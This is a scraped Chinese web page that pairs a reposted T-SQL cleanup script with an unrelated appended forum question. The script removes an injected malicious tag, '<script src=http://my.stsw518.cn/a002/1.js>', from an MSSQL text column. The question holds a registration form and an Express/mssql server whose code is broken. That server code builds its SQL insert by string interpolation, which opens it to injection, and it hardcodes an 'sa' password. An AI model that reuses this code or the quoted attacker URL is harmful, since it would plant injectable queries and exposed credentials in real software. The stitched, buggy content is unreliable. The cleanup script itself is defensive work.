删除MSSQL数据库text字段中恶意脚本<Script="***.js"></script>的方法

删除MSSQL数据库text字段的替换处理示例--全表替换,看到有人提问,所以整理了一个好久以前的处理方法,以供大家参考:
方法很简单:text字段不能使用Replace,所以使用patindex

- select   *   from  Product  where  P_Intro  like   ' %<script src=http://my.stsw518.cn/a002/1.js></script>% '  
-- text字段的替换处理示例--全表替换  
--
  select   datalength(P_Intro),*   from   Product  
--
邀月 整理
   -- 定义替换的字符串  
   declare     @s_str     nvarchar ( 4000 ), @d_str     nvarchar ( 4000 )  
  
select     @s_str = ' <script src=http://my.stsw518.cn/a002/1.js></script> '     -- 要替换的字符串  
  , @d_str = ''   -- 替换成的字符串  
   
   
  
-- 因为只能用patindex,所以对于搜索字符串做处理  
   set     @s_str = ' % ' + @s_str + ' % '   
   
  
-- 定义游标,循环处理数据  
   declare     @id     bigint
  
declare    #tb    cursor     for     select    P_ID    from    Product  where  P_Intro  like   ' %<script src=http://my.stsw518.cn/a002/1.js></script>% '  
--  where  P_ID=300727   ----where P_Intro like '%<script src=http://my.stsw518.cn/a002/1.js></script>%' 
   open    #tb  
  
fetch     next     from    #tb    into     @id   
  
while     @@fetch_status = 0   
  
begin   
  
-- 字符串替换处理  
   declare     @p     varbinary ( 16 )  
  ,
@p1     int , @p2     int   
  ,
@rplen     int , @step     int , @len     int   
   
  
select     @p = textptr (P_Intro)  
  ,
@rplen = len ( @s_str ) - 2   
  ,
@step = len ( @d_str )  
  ,
@p1 = patindex ( @s_str ,P_Intro)  
  ,
@len = datalength (P_Intro)  
  ,
@p2 = 0   
  
from    Product   
where    P_id = @id   
   
  
while     @p1 > 0   
  
begin   
  
set     @p2 = @p1 + @p2 - 1   
  
updatetext    Product.P_Intro    @p     @p2     @rplen     @d_str   
  
select     @p2 = @p2 + 1 , @p1 = patindex ( @s_str , substring (P_Intro, @p2 + 1 , @len ))  
  
from    Product    where    P_ID = @id   
  
end   
  
fetch     next     from    #tb    into     @id   
  
end   
  
close    #tb  
  
deallocate    #tb  
   
  
-- 显示结果  
--
--  select   datalength(P_Intro),*   from   Product 

转载于:https://www.cnblogs.com/downmoon/archive/2009/07/28/1532581.html

<!DOCTYPE html> <html> <head> <title>注册页面</title> <link rel="stylesheet" type="text/css" href="../zhuce/zhuce1.css"> </head> <body> <h2>用户注册</h2> <form method="post" action="http://localhost:3000" id="registration-form"> <label for="username">用户名:</label> <input type="text" id="name" name="name" placeholder="请输入用户名" pattern="^[a-zA-Z0-9_]{3,20}$" required> <label for="email">邮箱:</label> <input type="email" id="email" name="email" placeholder="请输入邮箱地址" required> <label for="password">密码:</label> <input type="password" id="password" name="password" placeholder="请输入密码"pattern="^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[a-zA-Z]).{8,}$" required> <input type="submit" value="注册"> </form> <script src="../zhuce/zhuce1.js"></script> </body> </html> const form = document.getElementById('register-form'); form.addEventListener('submit', function (event) { event.preventDefault(); // 阻止表单提交 const name = document.getElementById('name').value; const password = document.getElementById('password').value; const email = document.getElementById('email').value; console.log('注册信息:'); console.log('用户名:', name); console.log('密码:', password); console.log('邮箱:', email); }); const express = require('express'); const bodyParser = require('body-parser'); const mssql = require('mssql'); // 假设使用 MySQL 数据库 const app = express(); app.use(bodyParser.urlencoded({ extended: false })); // 创建与数据库的连接 const connection = mssql.createConnection({ server: 'CRMTEST', user: 'sa', password: 'Servo01', database: 'demo' }); // 连接数据库 connection.connect(function (err) { if (err) { console.error('Error connecting to database:', err); return; } console.log('Connected to database!'); }); // 处理注册页面的 POST 请求 app.post('http://localhost:3000', function (req, res) { const name = req.body.name; const password = req.body.password; const email = req.body.email; console.log('注册信息:'); console.log('用户名:', name); console.log('密码:', password); console.log('邮箱:', email); // 将数据保存到数据库 const query = `INSERT INTO username (name, password, email) VALUES (${name},${name}, ${name})`; connection.query(query, [name, password, email], function (err, result) { if (err) { console.error('Error saving data to database:', err); return; } console.log('数据已保存到数据库!'); }); res.send('注册成功!'); }); app.listen(3000, function () { console.log('Server is running on port 3000'); });为什么控制台打印不出来
07-14
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值